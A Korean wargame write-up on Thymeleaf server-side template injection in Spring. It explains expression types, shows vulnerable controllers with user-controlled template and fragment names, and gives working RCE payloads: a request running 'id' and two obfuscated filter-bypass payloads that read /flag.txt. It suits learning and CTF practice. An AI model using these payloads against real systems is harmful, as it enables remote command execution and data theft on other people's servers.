Spring SSTI
Wargame 풀이 중 Spring에서 사용하는 Thymeleaf에서 SSTI 취약점이 발생하는 것을 보고 정리했습니다.
Thymeleaf?
Thymeleaf는 XML/XHTML/HTML5 구문을 기반으로 하는 Java용 최신 서버측 템플릿 엔진입니다. 이는 Thymeleaf HTML 템플릿이 HTML과 똑같이 보이고 작동한다는 것을 의미합니다. 이는 주로 HTML 태그에 추가 속성을 사용하여 달성됩니다. 공식적인 예는 다음과 같습니다.
<table>
<thead>
<tr>
<th th:text="#{msgs.headers.name}">Name</th>
<th th:text="#{msgs.headers.price}">Price</th>
</tr>
</thead>
<tbody>
<tr th:each="prod: ${allProducts}">
<td th:text="${prod.name}">Oranges</td>
<td th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>
</tr>
</tbody>
</table>
SSTI?
SSTI(Server-Side Template Injection)은 공격자가 Template 코드를 삽입하여 원하는 행동을 수행하도록 하는 공격입니다. 이 때 Template Injection이 발생하는 위치가 server-side인 경우 SSTI라고 부릅니다. SSTI가 발생하는 경우 Server-Side의 렌더링에 관여할 수 있기 때문에 RCE,SSRF 등으로 연결할 수 있어서 리스크가 높습니다.
Thymleaf SSTI
Thymeleaf에서 SSTI를 시도하려면 먼저 Thymeleaf 속성에 나타나는 표현식을 이해해야 합니다. Thymeleaf 표현식은 다음 유형을 가질 수 있습니다:
- ${…}: 변수 표현식 - 실제로는 OGNL 또는 Spring EL 표현식입니다.
- *{…}: 선택 표현식 – 변수 표현식과 유사하지만 특정 목적으로 사용됩니다.
- #{…}: 메시지(i18n) 표현식 – 국제화에 사용됩니다.
- @{…}: 링크(URL) 표현식 – 애플리케이션에서 올바른 URL/경로를 설정하는 데 사용됩니다.
- ~{…}: 조각 표현식 - 템플릿의 일부를 재사용할 수 있게 해줍니다.
시도된 SSTI에 대한 가장 중요한 표현식 유형은 첫 번째 유형인 변수 표현식입니다. 웹 애플리케이션이 Spring을 기반으로 하는 경우 Thymeleaf는 Spring EL을 사용합니다. 그렇지 않은 경우 Thymeleaf는 OGNL을 사용합니다. SSTI의 일반적인 테스트 표현식은 입니다 ${7*7}. 이 표현은 Thymeleaf에서도 작동합니다.
Thymeleaf 예제
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
첫 번째 경우(/path)에서는 Path Travasal 같은 취약점이 발생할 수있지만 SSTI만 다루겠습니다.
일반 적인 사용자는 서버의 ‘template’ 폴더로 제한되며 그 외부의 파일은 볼 수 없습니다.
하지만 파일 시스템에서 템플릿을 로드하기 전에 Spring ThymeleafView 클래스는 템플릿 이름을 표현식으로 구문 분석합니다. 이를 활용하면 표현식 언어 삽입을 통해 공격에 활용할 수 있습니다. ${명령어}::.x 를 사용하면 접미사가 무엇이든 관계없이 thymeleaf에 의해 실행되도록 할 수 있습니다.
// /path에 대한 공격(url로 인코딩되어야 함)
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1
=> id 값 출력
Bypass filter
${true.getClass().forName('ja'.concat('va.util.Scanner')).getConstructor(true.getClass().forName('ja'.concat('va.io.InputStream'))).newInstance(true.getClass().forName('ja'.concat('va.lang.Run').concat('time')).getMethods()[6].invoke(null).exec('cat'.concat(true.toString().charAt(0).toChars(32)[0].toString()).concat('/flag.txt')).getInputStream()).next()}::.x
${true.getClass().forName('ja'.concat('va.util.Scanner')).getConstructor(true.getClass().forName('ja'.concat('va.io.InputStream'))).newInstance(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethods()[6].invoke(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()))).exec('cat'.concat(true.toString().charAt(0).toChars(32)[0].toString()).concat('/flag.txt')).getInputStream()).next()}::.x
참고
https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
https://github.com/veracode-research/spring-view-manipulation